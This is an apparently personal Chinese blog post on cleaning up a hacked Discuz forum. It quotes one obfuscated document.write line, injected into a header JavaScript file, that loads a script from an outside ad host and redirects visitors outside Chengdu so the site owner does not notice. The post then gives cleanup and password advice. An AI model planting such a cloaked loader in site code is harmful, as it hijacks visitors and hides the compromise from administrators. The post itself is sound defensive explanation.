当前位置:首页 > 网站运营 > 正文内容

discuz网站被挂马,非管理员访问自动跳转到广告页面 怎么解决

葱子8年前 (2017-04-27)网站运营2334

你是否遇到过你的网站打开一会就自动跳转到其他页面,而且这个问题是你的用户告诉你的,而你自己却没有遇到?

discuz挂马弹出页面

经过葱子我细心的对挂马网站做排查,终于让我找到了问题所在。

挂马者是通过在discuz的头部js文件里面添加了劫持js代码,通过判断访问者的IP来实现不同跳转的。

具体代码如下:

document.write(“<\163”+”cript src=’http://\141”+”d.\172”+”om”+”12\63”+”.n”+”et/i”+”p.asp?l”+”oc=chengdu’><\/s”+”cript>”);

可以看出,后面有个“chengdu”代码,这段代码的意思就是IP为成都地区的访问者在访问被挂马页面时不做跳转。其余地区的IP访问者则跳转。

从这段代码我们就可以看出挂马者是多么的用心险恶。

他首先根据你网站所在地进行判断网站管理员经常使用的IP地址所在地,然后有针对性的对网站管理员不做跳转劫持。

所以,这种劫持的情况下,网站管理者非常难以发现到网站被挂马了。

解决办法也比较简单:

首先校验下原始文件,对比下哪些js文件近期有被改动过,然后针对被改动过的js文件做以上代码段的排除。找到以上代码段后,删除即可。

最后说一下,各位网站管理者一定要注意保管好网站和服务器的管理密码,尽量设置的复杂一点。同时也要及时检测服务器是否存在漏洞等,及时做针对性处理,以避免类似的事情再发生。

以上文章为向上的葱子原创,转载请注明出处。

原文地址:https://www.aitiancheng.com/article-491.html

扫描二维码推送至手机访问。

版权声明:本文由葱子博客发布,如需转载请注明出处。

本文链接:https://www.aitiancheng.com/article-491.html

相关文章

CentOS 6.5下修改文件夹权限和用户名用户组

最近在部署网站的时候遇到以下问题,网站根目录的用户组是root,根目录下的其他文件夹用户组是www,导致网站程序无法在网站根目录下创建新文件夹。 要解决这个问题,就需要把网站根目录的用户组修改为www。  具体...

Nginx+Apache组合配置discuz的HTTPS访问(SSL)

为什么用Nginx+Apache组合? 用户访问页面的请求到达服务器之后,静态页面又nginx出来,动态页面则交给apache处理。这是因为apache处理静态页面的效率不高,远不及nginx。通过nginx的反向...

为什么有必要对网站开启https?

—— 互联网HTTPS时代,开启HTTPS迫在眉睫!—— 2014年Google将未启用HTTPS传输的网站标记为不信任! 2015年国内最大的搜索引擎百度率先实现了全站HTTPS加密! 2016年淘宝天猫全站...

申请免费的腾讯云SSL证书,实现https访问

申请免费的腾讯云SSL证书,实现https访问

本教程教你免费申请腾讯的1年免费使用的SSL证书。 使用QQ或者微信登陆腾讯云:【腾讯云】云产品限时秒杀,爆款1核2G云服务器,首年99元 找到SSL证书申请选项:云产品—域名服务—SSL证书。 点击进入申请页面 点击立即...

这样做你的网站才能通过百度站长平台的HTTPS认证

这样做你的网站才能通过百度站长平台的HTTPS认证

最近百度站长工具后台新增了https认证项目,很多站长都迫不及待的给网站上马了https。 但是在提交认证的时候,发现老是认证不通过。 看上图的提示信息,根本没有很好的提示是哪里出...

wdcp v3下phpMyAdmin错误2002和mysql挂掉的问题分析以及解决办法

wdcp v3下phpMyAdmin错误2002和mysql挂掉的问题分析以及解决办法

在使用wdcp面板的过程中,很多站长都会遇到phpMyAdmin错误2002这种情况。 这种情况基本是MySQL挂掉了,导致MySQL挂掉的原因主要有以下两个方面。 1、服务器内存占用过高导致 贴图看下某人的MySQL挂掉...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。